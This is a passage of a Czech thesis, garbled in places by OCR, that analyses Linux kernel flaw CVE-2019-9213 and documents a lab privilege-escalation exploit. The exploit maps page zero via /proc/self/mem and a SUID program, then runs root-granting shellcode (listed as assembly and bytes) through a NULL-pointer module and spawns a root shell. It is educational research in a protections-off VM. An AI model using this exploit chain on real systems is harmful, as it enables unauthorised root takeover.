R13: ffffffff8121ed70 R14: ffff88807a2c1700 R15: ffff88807a2c1700

FS: 00007fbedb5fa580(0000) GS: ffff88807da00000(0000) knlGS
:0000000000000000

CS: 0010 DS: 0000 ES: 0000 CRO: 0000000080050033

CR2: ffffffffffffffde CR3: 000000007a2ba000 CR4: 00000000000006 {0

Call Trace:

my_open+0xc/0x10 [null_proc]

proc_reg_open+0xe7/0x110

proc_i_callback+40x20/0x20

do_dentry_open+0x12a/0x320

path_openat+0x565/0x1560

alloc_set_pte+0xd9/0x300

do_filp_open+0x8c/0x100

do_sys_open+0x17f/0x210

do_syscall_64+40x43/0xf0

entry_.SYSCALL_64_after_hwframe+0x44/0xa9

R N B B e e I B )

Vypis 3.4: Vypis jadra oops po dereferenci NULL ukazatele
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3. ANALYYA ZNAMYCH ZRANITELNOSTI

Na obr. 3.4 je vypis jadra. Jsou vypsany hodnoty registri v okamziku,
kdy k oops doslo a stopa volani funkei [Call trace].
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KAPITOLA 4

Zranitelnost CVE-2019-9213

Jann Horn objevil zranitelnost, ktera umoznovala namapovat virtualni ob-
last s adresou 0. Zranitelnost se dotyka verzi jadra pred 4.20.13 vcetné.

[21]

Funkce expand_downwards () je pouzivana pro rozsiteni virtualni oblasti
smérem k nizsim adresam. Pokud je adresa, na kterou se ma zapsat nizsi nez
adresa vma—svm_start, pak je k této virtualni oblasti pfiddna dal3f pamétova
stranka.

Na stejném principu pracuje zasobnik procesu. Volani mmap() 2.3.3
dovoluje vytvorit takové mapovani s priznakem MAP_GROWSDOWN.

<mm/mmap .c>

int expand_downwards (struct vm_area_struct *vma,
unsigned long address)
{
struct mm_struct *mm = vma->vm_mm;
struct vm_area_struct *prev;
int error;

address &= PAGE_MASK;
error = security_mmap_addr (address);

if (error)
return error;

Vypis 4.1: Funkce expand_downwards|()

Ukolem security_mmap_addr() je zkontrolovat, zda ma dany proces
opravnéni namapovat virtudlni adresu nizsi mmap _min_addr 2.5. K tomu
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4. ZRANITELNOST CVE-2019-9213

pouzije funkeci cap_mmap_addr():

<security/commoncap.c>

int cap_mmap_addr (unsigned long addr)
{

int ret = 0;

if (addr < dac_mmap_min_addr) {
ret = cap_capable(current_cred(), &init_user_mns,
CAP_SYS_RAWIO,SECURITY_CAP_AUDIT);

}

return ret;

Vypis 4.2: Funkce cap_-mmap_addr()

cap_capable() vrati 0 (uspéch), pokud mé proces nastavany bity e-
fektivniho opravnéni (task—cred—cap_effective) oproti CAP_SYS_RAWIO,
coz je makro definované jako:

#define CAP_SYS RAWIO 17
Vypis 4.3: Hodnota opravnéni CAP_SYS_RAWIO

Toto opravnéni dovoluje vytvorit virtualni oblast pod adresu definova-
nou v /proc/sys/vm/mmap_min_addr [22]

Problémem je, ze pokud je proveden zapis ptes VFS procfs operaci
write() do /proc/{pid}/mem 2.4, tak prob¢hne sekvence volani k funkci
cap_mmap_addr (), ktera kontroluje prava zapisu oproti current _cred(),
coz jsou prava soucasného procesu task->cred

mem_write -> mem_rw -> access_remote_vm ->
__access_remote_vm -> get_user_pages_remote ->
__get_user_pages_locked -> __get_user_pages ->
find_extend_vma -> expand_downwards ->
security_mmap_addr -> cap_mmap_addr ->
cap_capable -> current_cred

Vypis 4.4: Sekvence volani vyvolavajici zranitelnost CVE-2019-9213

Toho vyuzivé exploit Janna Horna. Jeho podstata tkvéla v presmérovani
vystupu programu s nastavenym SUID bitem. Tim doslo k prekonani ochrany
security_mmap_addr() a byla tak pfidana funkci expand_downwards ()
pamétovd stranka se “zakdzanymi” adresami 0 — [PAGE_SIZE — 1].
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Tato zranitelnost muze asistovat druhé zranitelnosti, kdy na systémech
bez aktivni ochrany SMAP 2.5 mohlo dojit k nahrani libovolného kédu.
Jeho spusténi by ovsem vyzadovalo dalsi vypnuté ochrany.
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KAPITOLA 5

Eskalace opravneéni

Cilem utoku je ziskani rootovskych opravnéni. Plan utoku bude vypadat
nasledovneé:

1. namapovani stranky s adresou 0
2. injektovani shellkodu
ovladnuti instrukéniho pointeru rip, aby ukazoval na shellkod

vykonani kodu v privilegovaném rezimu

AR

spusténi shellu

K alokovani stranky s adresou 0 bude vyuzita zranitelnost CVE-2019-
9213.

Na tuto adresu bude vlozen shellkdéd, ktery bézicimu procesu zajisti
upraveni jeho prav diky vytvofreni nové struktury cred a jeji pfirazeni da-
nému procesu.

Pro spusténi kodu bude potteba znat chybu dereferencujici NULL uka-
zatel nachazejici se v jadre a védét, jak chybu vyvolat.

K tspésnému utoku bude potieba vyjit z urcitych predpokladi, které za
bézného provozu pravdépodobné nenastanou. Pro napsani shellkédu bude
nutné mit piistup bud k souboru System.map nebo vypnuté restrikce pro
¢teni souboru /proc/kallsyms. Oba soubory obsahuji adresy jadernych fun-
kei, které budou v kodu pouzity. Dalsim dilezitym predpokladem budou vy-
pnuté ochrany SMAP, SMEP a KASLR. 2.5 Jisté jdou vSechny vysSe uvedené
ochrany néjakym zptisobem obejit, v tomto pokusu vSak budou v testovacim
prostfedi ve vychozim nastaveni vypnuté. Déle bude predpokladéno, ze je
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5. ESKALACE OPRAVNENT

k jadru pripojen modul, ktery obsahuje chybu ve formé ukazatele na funkci
inicializovaného nulou. Dereference tohoto pointeru zajisti vlozeni virtualni
adresy 0 do registru instrukéniho pointeru rip.

Navrh dtoku byl ¢asteéné inspirovan z phrack a Kernel exploitation.

5.1 Piseme exploit

Exploit je v informatice specialni kod, ktery vyuziva zranitelnosti v pro-
gramu za ucelem ziskani néjakého prospéchu. [23]

Na pocatku bude vytvorena virtualni oblast na presné adrese 0x1000
(nejnisi povolend adresa) volanim mmap() 2.3.3, kterd bude expandovat
smérem k nizsim adresam.

mmap (0x1000, PAGE_SIZE,
PROT_READ | PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS |MAP_GROWSDOWN |MAP_FIXED,
-1,
0);

Vypis 5.1: Namapovani zranitelné oblasti

V dalsim kroku bude otevien filedeskriptor fd pro préaci s paméti mem
V opera¢nim systému Linux se témér se vsim, dokonce i s paméti, pracuje
jako souborem [24]
int fd = open("/proc/self/mem");
Vypis 5.2: Ziskani filedeskriptoru na pamét procesu

Aby operacni systém stranku pridélil, musi byt zapsano procesem s do-

svvs

prekroci adresa oblasti vim_start a bude dodéna pristi “nizsi” stranka.

Nésleduje pokus o zapsani do paméti procesu skrze volani ptrace().

5.1.1 Varianta s CAP SYS PTRACE

Sytémové volani ptrace() definované v kernel/ptrace.c dava moznost z vo-
laného procesu (tracer) sledovat a ovladat vykondvani jiného procesu (tra-

cee). [29]

Z tohoto diivodu vznikla myslenka pouzit ptrace() s opravnénym zépisem
do mem. V knihovné linux/capability.h je definice “capability” pro pouziti
ptrace:
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5.1. Piseme exploit

#define CAP_SYS_PTRACE 19
Vypis 5.3: Hodnota opravnéni CAP_SYS_PTRACE

Opravnéni CAP_SYS_PTRACE ma jednickové bity na stejnych pozicich
jako CAP_SYS_RAWIO 4.3, proto by kontrolou ve funkci cap_mmap_addr ()
4.2 mélo projit.

Tim, Ze se ptrace() pokusi zapsat do virtudlni oblasti rostouci smérem
dolt, vyvold podobnou sekvenci volani 4.4, jako v pripadé navrhu Janna
Horna.

ptrace_writedata -> ptrace_access_vm ->
__access_remote_vm -> get_user_pages_remote ->
__get_user_pages_locked -> __get_user_pages ->
find_extend_vma -> expand_downwards ->
security_mmap_addr -> cap_mmap_addr ->
cap_capable -> current_cred
Vypis 5.4: Sekvence volani pomoci ptrace(), kterd by mohla vyvolat
zranitelnost CVE-2019-9213

Plan byl postaven na tom, ze rodi¢ bude tracer a potomek tracee, do je-
hoz paméti rodi¢ zapise. Technika s ptrace nebyla tspésna a vzdy skoncila
s chybou. Debugovanim bylo zjisténo, ze ve funkci u podminky
static long __get_user_pages_locked (...,

struct page x**pages,

*

unsigned int flags)

if (pages)
flags |= FOLL_GET;

Vypis 5.5: Misto, kde sekevence volani pomoci ptrace() skonci

prestane sekvence volani pokrac¢ovat. Duvod nepokracovani nebyl bohu-
zel spolehlivé zjistén.

5.1.2 Varianta se SUID

SUID a SGID bit je metoda, jak proptj¢it uzivateli jind opravnéni nez by
vyplynula ze standartniho chovéani systému.[26] Program tak dovoluje u-
zivateli provést néjakou konkrétni cinnost s pravy roota, ackoliv uzivatel
takovymi pravy sam nedisponuje.

Pokus o exploitaci timto zptsobem je inspirovan metodou Janna Horna
[21] a k zapisu do paméti je pouzit SUID program. V podstaté jde o to,
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5. ESKALACE OPRAVNENT

ze jakykoliv takovy program, ackoliv na néj nemame opravnéni, je mozné
spustit a uzivateli je na vystup (standartni nebo chybovy) vétsinou vypséno
néjaké informativni hlaseni. Vypis je poté presmérovan do souboru mem, kde
probéhne kontrola opravnéni 4.2.

Hlavni proces je rozdvojen sytémovym voldnim fork(). Potomek na-
stavi presmérovani standartniho chybového vystupu do otevieného souboru
mem urceného filedeskriptorem fd a v dalsim kroku spusti SUID program.
V ukazce je pouzit znamy program sudo.

pid = fork();

if (pid == 0) {
dup2(fd, STDERR_FILENO) ;
execve("/bin/sudo", NULL, NULL);

Vypis 5.6: Spusténi SUID programu v potomkovi

Tim probéhne ta “spravna” sekvence volani 4.4 a operacni systém doda
stranku s adresou 0.

Dalsi faze utoku zahrnuje nahrani shellkodu.

5.1.3 Shellcode

Shellcode je mozné definovat jako mnozinu injektovanych strojovych in-
strukei. Tyto instrukce jsou poté spustény exploitovanym programem. [27]

V idedlnim pripadé takovy kod zajisti procesu prava roota (uid = 0),
k tomu ale bude potieba znat adresy symboli funkei v jadie commit_creds()
a prepare_kernel_cred(). Tyto funkce pracuji se struktrou cred, coz je struk-
tura reprezentujici opravnéni procesu. Funkce prepare_kernel cred() s argu-
mentem 0 je voldna prfi bootovani jadra ve funkei start _kernel() a ptipravi
prava roota. Druha funkce commit_creds() pfijma jako argument ukazatel
na strukturu cred a nova opravnéni preda volajicimu procesu. Adresy téchto
symboli se obvykle nachazeji v souborech System.map nebo /proc/kallsyms.
System.map je ¢itelny béznym uzivatelem, ale pouze za podminky, ze oddil
(bootovaci), na kterém se nachdzi, je primontovan. Po nabootovani jadra
byva oddil odpojen. Soubor kallsyms je dostupny béznému uzivateli, ale ad-
resy symbolt byvaji z bezpe¢nostnich davodu skryty. Toto vychozi chovani
je ale mozné vypnout.

Za predpokladu, ze jsou znadmy adresy funkci commit_creds() a pre-
pare_kernel_cred(), napiiklad diky vypnutym restrikcim v souborech procfs
/proc/sys/kernel/kptr_restrict a /proc/sys/kernel/perf-event_paranoid, mu-
ze shellcode vypadat nasledovneé:

28



5.1. Piseme exploit

xor rdi, rdi

mov rdx, Ox[prepare_kernel_cred]
call rdx

mov rdi, rax

mov rdx, Ox[commit_creds]

call rdx

ret

Vypis 5.7: Shellcode na ziskani prav roota

Instrukce xor rdi, rdi vynuluje registr rdi, ktery preda jako argu-
ment funkei prepare_kernel_cred().

Protoze jsou adresy funkci absolutni, nemtize byt pouzita instrukce
call Ox[prepare_kernel cred] piimo, protoze takto by call bral ar-
gument jako relativni adresu. Pokud vsak bude absolutni adresa ulozena
v registru a tento registr predan jako argument call, poté bude skoc¢eno
na tuto absolutni adresu.

Navratové hodnoty funkci jsou ukladany do registru rax, ktery je predan
také jako argument funkci commit_creds(), proto prifazeni do registru rdi
-mov rdi, rax.

Posledni instrukce ret je zde z diivodu navratu do uzivatelského pro-
storu. Predpokladem totiz bylo, ze modul se zranitelnosti dereferencuje uka-
zatel na funkei inicializovanou nulami, ¢ili na zasobniku je vytvoren ramec,
z kterého se bude potreba vratit.

Po prevedeni do sekvence bajti bude shellkéd vypadat:
\x48\x31\xff\x48\xc7\xc2\xe0\x29\x08\x81\xff\xd2\x48
\x89\xc7\x48\xc7\xc2\x40\x26\x08\x81\xff\xd2\xc3

Vypis 5.8: Shellcode jako sekvence bajtii

5.1.4 Modul v jadre

Linuxovy modul je zkompilovany program, ktery muze byt dynamicky pti-
linkovan nebo odlinkovan z prostoru jadra. Rozsituje tak funkce, které jadro
miize pouzivat. Seznam prilinkovanych moduli lze vypsat ptrikazem lsmod
a vlozeni nového modulu ptrikazem insmod nebo modprobe.

Pro tucely exploitace jadra by bylo vyborné pouzit nalezenou zranitel-
nost v existujicim modulu dereferencujici NULL ukazatel, v této praci ale
bude pouzit jednoduchy modul, ktery trpi zminénou chybou. Predpokladem
pro uspésny utok bude, Ze se tento modul jiz nachazi v prostoru jadra.
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Pro demonstraci bude pouzit modul, ktery pti operaci open() “zavola”
pointer na funkci.

Ve struktute struct file_operations je deklarovan pointer na funkci open():
int (*open) (struct inode *, struct file x); [24]
Tomuto ukazateli preddme adresu vlastni funkce my_open().

Zdrojovy kod modulu funkce open miuze vypadat nasledovneé:

void (xptr_func) (void);

static int my_open(struct inode *inode,
struct file *file) {
(xptr_func) () ;
+s
Vypis 5.9: Operace vedouci k dereferenci funkéniho ukazatele v modulu
jadra

Pro pfipojeni modulu k jadru je volana jako prvni funkce init_module(),
kterd nasledné vytvori pomoci volani proc_create() soubor v adresafi /proc
s ndzvem “vuln_module”. Strukturou file_operations jsou definovana ope-
race nad modulem. Opera¢nimu systému je feceno, aby pro otevieni modulu
pouzil funkei my_open().

V programu exploitu bude tento modul otevien,

open("/proc/vuln_module");

Vypis 5.10: Vyvolani chyby dereferencujici funkéni ukazatel v modulu jadra

¢imz dojde ke zminéné dereferenci NULL pointeru. Na zasobnik se po-
stupné vytvori ramce funkei stejné jako na obr. 3.4 [Call trace], akorat s tim
rozdilem, Ze nyni je na adrese 0 ulozen kdd, takze jiz nedojde k chybovému
hlaseni jadra oops.

5.1.5 Ziskani roota

Po otevieni modulu dojde ke spusténi nahraného shellkodu. Po navratu
do uzivatelského prostoru mé& proces opravnéni roota. Muze spustit shell
nékolika zpisoby, napt. vyuzit z knihovny libc volani system() nebo po-
uzit nékteré volani rodiny exec. Predany argument mize byt “/bin/sh”
nebo kterykoliv jiny z dostupnych shell.

30



5.1. Piseme exploit

if (getuid() == 0)
execve ("/bin/sh", NULL, NULL);

Vypis 5.11: Spusténi shellu

Po tspésném spusténi se muze uzivatel piikazem whoami presveédcit,
zda je opravdu root.

johny@vuln:~% whoami
johny
johny@vuln:~% ./a.out

# whoami
root

# 1

31



KAPITOLA

Testovaci prostredi

Ze stranky kernel.org byla stazena verze jadra 4.20 dotcend analyzovanou
zranitelnosti. Hlavnim pozadavkem byla potieba sledovat, jaké funkce jsou
pri urcité operaci v jadre volané. Pro pozorovaci tcely byl zvolen GNU de-
bugger GDB. Na jadro proto bylo kladeno, aby mélo pri kompilaci ve zdro-
jovém koédu vlozené vlozené debuggovaci symboly pro snadnéjsi orientaci.
Z tohoto divodu byla zapnuta podpora CONFIG_DEBBUG_INFO=y.

Jadro bylo nakonfigurovano s pottebnymi supporty a zkompilovano.

Pro virtualizaci prostiedi byl pouzit emulator QEMU. Pfi prvnim po-
kusu o nabootovani jadra nastal problém “kernel panic: no init found”.
Nakonec se ale pomoci nastroje debootstrap podafilo vytvorit funkéni
root filesystem s procesem init, ackoliv tomuto kroku predchazelo nékolik
“probdélych noci”.

Vypnuti ochran jadra v emulatoru QEMU bylo dosazeno predanim pa-
rametri “nokaslr, nosmap, nosmep” do ptikazové radky jadra.

Napsané skripty pro vytvoreni stejného testovaciho prostiedi jsou do-
stupné na prilozeném médiu.
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Zaver

Jednim z cilti prace bylo popsat vybrané zranitelnosti a chyby, jez je zptisobuji.
Pro tento ucel jsem vybral zranitelnosti s vlasnim jménem Mutagen Ast-
ronomy a Dirty COW. Dalsim cilem bylo zvolit libovolnou zranitelnost a
pokusit se pomoci ni zadtocit na systém. K tomu byla testovana zrani-
telnost CVE-2019-9213. Pro tuspésnou exploitaci musela byt vypnuta rada
ochran jako SMAP, SMEP a KASLR a soucasné jsem musel mit pristup
k adresam symboli funkei jadra. Z tohoto diivodu jsem nabyl presvédceni,
ze testovana zranitelnost nebyla prilis zavazna, avsak zpocatku jsem toto
nepredkladal.

Testovanou zranitelnost jsem se pokusil exploitovat vlastnim navrhem
s vyuzitim systémového volani ptrace(), ale bohuzel bez tspéchu. Proto
jsem pouzil ¢astecné existujici exploit Janna Horna, ktery jsem modifikoval
a doplnil jej o kroky vedouci k eskalaci opravnéni. Takovy exploit byl na-
konec tspésny a skutecné se podarilo ziskat nejvyssi prava nad systémem.
Avsak provedeni tohoto typu ttoku v realném prostiedi vnimam jako vysoce
nepravdépodobné.

S vypnutymi ochranami a znalosti adres symboli funkei jadra spolu
s chybou dereferencujici funkéni ukazatel v prostoru jadra je takovy utok
trivialni.

Ackoliv testovana zranitelnost nebyla tolik nebezpecnd, existuji zrani-
telnosti jako Dirty COW, které jiz znacné riziko predstavuji.

V jadre jisté ¢eka mnoho podobnych nebo i naprosto odlisnych chyb
teprve na své objeveni.
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PRILOHA A

Seznam pouzitych zkratek

BIOS Basic Input/Output System
COW Copy-On-Write

DoS Denial of Service

GDB The GNU Project Debugger
GRUB GRand Unified Bootloader
IDT Interrupt Descriptor Table
IP Intruction Pointer

IRQ Interupt ReQuest

ISA Instruction Set Architecture
LVM Logical Volume Management
MBR Master Boot Record

MM Memory Management
MMU Memory Managment Unit
PC Program Counter

PID Process [Dentifier

RAM Random Access Memory
ROM Read Only Memory
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A. SEZNAM POUZITYCH ZKRATEK

SUID Set owner UserID on execution

SMP Symmetric MultiProcesing

UEFT Unified Extensible Firmware Interface
UID User [Dentificator

VFS Virtual File System
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PRILOHA B

Obsah prilozeného CD

readme . BXE « v vttt struény popis obsahu CD

| _prepare kernel ............... adresar se scripty pro pripraveni jadra
| runkernel ............iiiiiiiaaaaan. adresar se scritpy pro spusténi
I v = v PP PP text prace
thesis.pdf.......... ... .o it text prace ve formatu PDF
thesis....oovnnnn. zdrojova forma prace ve formatu BTEX

-3 o X e T adresar s exploitem
Loasme e script pro vytvoreni shellcode
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